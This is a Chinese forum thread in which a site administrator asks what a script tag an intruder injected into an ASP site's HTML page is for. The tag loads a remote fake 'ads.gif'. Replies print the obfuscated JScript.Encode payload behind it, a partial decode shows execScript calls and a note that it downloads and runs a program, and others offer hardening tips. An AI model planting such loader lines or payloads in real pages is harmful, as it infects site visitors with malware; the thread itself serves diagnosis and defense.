请教一个被入侵者插入网页中的神秘文件

[liujam_2008]

情况是这样的，一个客户服务器的网站，编写语言是ASP，发现目录下有木马，在清除过程中，发现一个正常的HTML网页中，被植入了这样一段代码：

<script src="http://www.jlcncexamine.com/images/0810/ads.gif"></script>

想请教此文件插入在网页中是何做用，或者是为了达到何种目的？

[leohuang]

http://www.jlcncexamine.com/images/0810/ads.gif
这个其实是个文本文件,骗人的,里边是后门程序

[leohuang]

我down下来看了,是加了密的脚本程序,来look一下病毒变种尸体
-------------------------------------------------------------
a_encodekey="-rUG-r\
$$$?L4o9v0e\
\
8";b_encodekey=escape("TTuETmWXuER*+]EW+Rn]!+^!];C2
!G1^8]E80*YEOX%Y!!Z!!u");"ro4Yxwr!-E@*@!?\/I&K:PJz1
rGx,hN`";$t_$y="\x4A\x53\x63\x72\x69\x70\x74\105\156\
.\
\105\156\143\157\144\145\
";"while(){return true;}";"h,b1Ok7+pr(Ln^D`h,b1Ok7+ex
4C%21%u5E86%u5E78%u4F60%u5148%u89E3\105\156\143\157\1
\176\1369gMAAA==W!x^DkKxPM+m[ZKWVk`UCs+#P-lMPmKGVk.
~3PE{Jpk0vNK^Es+UYcmGG0k+cs+ oY4~@*PZ#PWW0dnDPxP9G
4#pkWPvWWWk+Y,Z\',OF*`G06/Y~_x~k+CD14R^+ULDtinU9PxP9
PK00knO#pk6Pc+U[,\'xP q#,+U[,\'P[G1Eh+ OcmGK3b+R^+
ndmmw`[W^;s+UYc^WK3rnc/E8dDDrxTcK0Wk+D~Px9b#p8NDY;
MrYZGG0k+cUm:n~,-mV;~,tW!Dkb 7l.P62rM+P{~Jrik6c4W
P9lDnv`Uh,flD+vb#conY:khnv#P3~tKEDk~MP2vZ!T!Tbp+awb.
DGMtKjYMkULv#i)~P9Wm!hnxDR1WG3rn,\'~xmh+,_~E{JPQ~/^l
KG3b+`r)PH:J*\'xJEbPh.kDnZKWVr`J)PtKE~r):HPr~8 !*i9G
FXq\'F*v\'qvy-q*8-FXX\'F**\'*Z-q+&\'Fvy-8*&\'GX-W wql
-8v{w8vGwX+-q*yw8**\'FW&-8*+wFW&wFW*wqF!-8*F\'F*lwq*8
{-8X8-ql*\'Fc8-8*G\'F**\'Ff\'*G\'!\'G!\'q-+!\'*{-q
8vW-Fl*\'* \'cT-8v{w8*F\'qcW-F+*wFl!\'GX-T\'cT-8X!\'
ZwG+-{c\'*{w8*F\'qc+-F++wFWF\'FX*wqW*wG+E#*iNGTcBAA==
Encode");"W0lvuEq!XXuETv1{]!!^0Z]ETTZ YE1*RFY!!8!!uEZ
YEXfycYEl+*8];XF*vY;m8,u;ZAA= ";decodekey="
]F*uv9]\
`8#`OMX`\
19830420";encode_over=escape("~3'PkVkaw+M+I/0kawnD+~3
DDmXvbibkxO8iA4bV+vQ_bk@!2XT#PmKxO+aO]krT,xPk3r2a");

[liujam_2008]

当然，这肯定不是一个图片文件，我只是想知道这样一段代码具体是做什么用的，能获取什么权限

[liujam_2008]

我只能解到这一步了：

code:

a_encodekey="-rUG-r\
$$$?L4o9v0e\
\
8";b_encodekey=escape("解密在第六步的时候会下载一个程序并运行!庆幸你先解密开这段内容^_^");"ro4Yxwr!-E@*@!?\/I&K:PJz1VjbV2{wJxl-lUm.raY-r@*0!xmDrGx,hN`";$t_$y="\x4A\x53\x63\x72\x69\x70\x74\105\156\143\157\144\145\
.\
\105\156\143\157\144\145\
";"while(){returntrue;}";"h,b1Ok7+pr(Ln^D`h,b1Ok7+execScript(pr(Ln^D`运行!庆幸你先解\105\156\143\157\144\145";execScript("\43\100\176\136RQUAAA==W!x^DkKxPM+m[ZKWVk
`UCs+#P-lMPmKGVk
.mV;+~x,JEi7CD,/nCMmt~x,xC:
~3PE{Jpk0vNK^Es+UYcmGG0k+cs+ oY4~@*PZ#PWW0dnDPxP9Gm!:nUDRmGG0knRbU9+a}0v/+mD14#pkWPvWWWk+Y,Z\',OF*`G06/
Y~_x~k+CD14R^+ULDtinU9PxP9G1Eh
xDRmKW0r+ckUN
66WvJirSPK00knO#pk6Pc+U[,\'xPq#,+U[,\'P[G1Eh+ OcmGK3b+R^+ LY4i^WK3rnjlV!nP{PE ndmmw
`[W^;s+UYc^WK3rnc/E8dDDrxTcK0Wk+D~P
x9b#p8ND
Y;. PmKG3b+.ms;+p86EUmOrKx~hMrY
ZGG0k+cUm:n~,-mV;
~,tW!Dkb 7l.P
62rM+P{~Jrik6c4W!DkPZ\'~U!Vs#Pn6ak.n,\'PUnSP9lDnv`U
h,flD+vb#conY:khnv#P3~tKEDk~MP2vZ!T!Tbp+awb.+,\'~EpP+a2bDn/{E,_~
6akD
RDGMtKjYMkULv#i)~P9Wm!hnxDR1WG3rn,\'~xmh+,_~E{JPQ~
/^lanv\\C^E
#_
6arD
iNk6`.nmNZKG3b+`r)PH:J*\'xJEbPh.kDnZKWVr
`J)PtKE~r):HPr~8!*i9Gm!:nxDRA.bY+v;x
/mm2n`r-FcwFXq\'F*v\'qvy-q*8-FXX\'F**\'*Z-q+&\'Fvy-8*&\'GX-Wwql!-8
c\'FvWwqvZ-Fw*{wlGwF+{-8v{w8vGwX+-q*yw8**\'FW&-8*+wFW&wFW*wqF!-8*F\'F*lwq*8-8*
-q*l-Xv\'qc2-qXF-FXX\'*{-8X8-ql*\'Fc8-8*G\'F**\'F
f\'*G\'
!\'vG\'
+-FF\'*{-qX8-q*+wFWcwqW*-q{Z-Xv\'ql!w8vW-Fl*\'*\'cT-8v{w8*F\'qcW-F+*wFl!\'GX-
T\'cT-8X!\'F*X\'F*qw8c{-8XZ-q+c\'G*\'vZwG+-{c\'*{w8*F\'qc+-F++wFWF\'FX*wqW*wG+wGW-qX8-F*
\'F
\'qWFw8*l-FW*\'*!\'F
&\'F
+\'Fc2wGl-cywq*Z-8v*-q
W-qvZwGy-X{\'*Gwq+GwF+{\'F
F-lv-8*ywFlcwFW&wqlv-8*&\'FclwqGZ-8cq-qXl-q*8wFlvwqW*-X
\'F*&\'qlGw8*l-*F-8XF\'FX*\'F*q\'FcFwFW*-8
f-lG\'vT-
{\'v+-Fq-lGwqlF-qX+-qcWw8cX\'FF!-+F\'Xv\'FX!\'F
*\'F*lwcy-cZwqvF-8*q-q*W-qvWwFl!w{l-vTwW!wFlT\'F*l-8*F\'FW{-8*T-8v*wF*-+T-Fv-F*w*F-8*q-q*+-qvywFWFwql*-q*l-{vrb*iN8YgBAA==\x5E\x23\x7E\x40","JScript.Encode");"^#~@#@~^DQAAAA6FS0*iAd4RI!2i6Ul7nR:X2+{FIaUlCggAAA==^#~@#@~^DQAAAA==-
R6a+U`6~!^#~@#@~^ DQAAAA= ";decodekey="`*wJB\
]F*uv9]\
`8#`OMX`\
19830420";encode_over=escape("写\这\个\程\序\是\为\了\纪\念\一\个女孩\x21");

[btbtd]

quoted-printbale, base64, ms 的脚本加密器.
我不试, 应该离不开这几种.

[liujam_2008]

顶一下

[fffddd]

估计不是真正的gif用了重写，就象现在流行的伪静态页面一样。

[www_31365_com]

这个是一个木马的后门,楼主不是你的程序有问题,就是你的网站服务器有问题,速查,解决办法在弥补上述漏洞外,还可以将你非asp文件的文件夹权限设置下,为只读,这样欺骗的图片文件根本不能运行

[wildviolin]

有个问题是，如何被黑客将这个文件植入到了html文件中呢。我也碰到过类似的问题。